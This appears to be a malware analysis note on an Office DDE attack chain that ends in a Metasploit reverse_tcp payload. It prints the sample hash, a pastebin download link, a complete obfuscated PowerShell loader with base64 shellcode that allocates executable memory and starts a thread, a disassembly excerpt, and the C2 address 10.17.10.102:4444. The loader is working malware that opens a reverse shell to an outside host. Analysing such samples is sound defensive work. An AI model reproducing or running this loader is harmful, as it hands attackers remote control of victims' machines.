officedde to metasploit reverse_tcp

bca020e5711706c0552720d0777f47bc866801a4384cf175375bf9815e54e1c6

Downloads:
https://pastebin.com/raw/KqSrZYeT

[Byte[]]$xwr = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/VagpoChEKZmgCABFcieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoYQAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0iWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCTpcf///wHDKcZ1x8O78LWiVmoAU//V")

$iB1q5iM = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((jEMbg kernel32.dll VirtualAlloc), (n385EF @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $xwr.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($xwr, 0, $iB1q5iM, $xwr.length)

$fSXil = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((jEMbg kernel32.dll CreateThread), (n385EF @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$iB1q5iM,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((jEMbg kernel32.dll WaitForSingleObject), (n385EF @([IntPtr], [Int32]))).Invoke($fSXil,0xffffffff) | Out-Null




eventually decodes down to a metasploit reverse_tcp blob

0x000000ad   5               680a110a66  push 0x660a110a
0x000000b2   5               680200115c  push 0x5c110002
0x000000b7   2                     89e6  mov esi, esp
0x000000b9   1                       50  push eax
0x000000ba   1                       50  push eax
0x000000bb   1                       50  push eax
0x000000bc   1                       50  push eax
0x000000bd   1                       40  inc eax
0x000000be   1                       50  push eax
0x000000bf   1                       40  inc eax
0x000000c0   1                       50  push eax
0x000000c1   5               68ea0fdfe0  push 0xe0df0fea
0x000000c6   2                     ffd5  call ebp
0x000000c8   1                       97  xchg eax, edi
0x000000c9   2                     6a10  push 0x10
0x000000cb   1                       56  push esi
0x000000cc   1                       57  push edi
0x000000cd   5               6899a57461  push 0x6174a599
0x000000d2   2                     ffd5  call ebp


C2 internal range
10.17.10.102:4444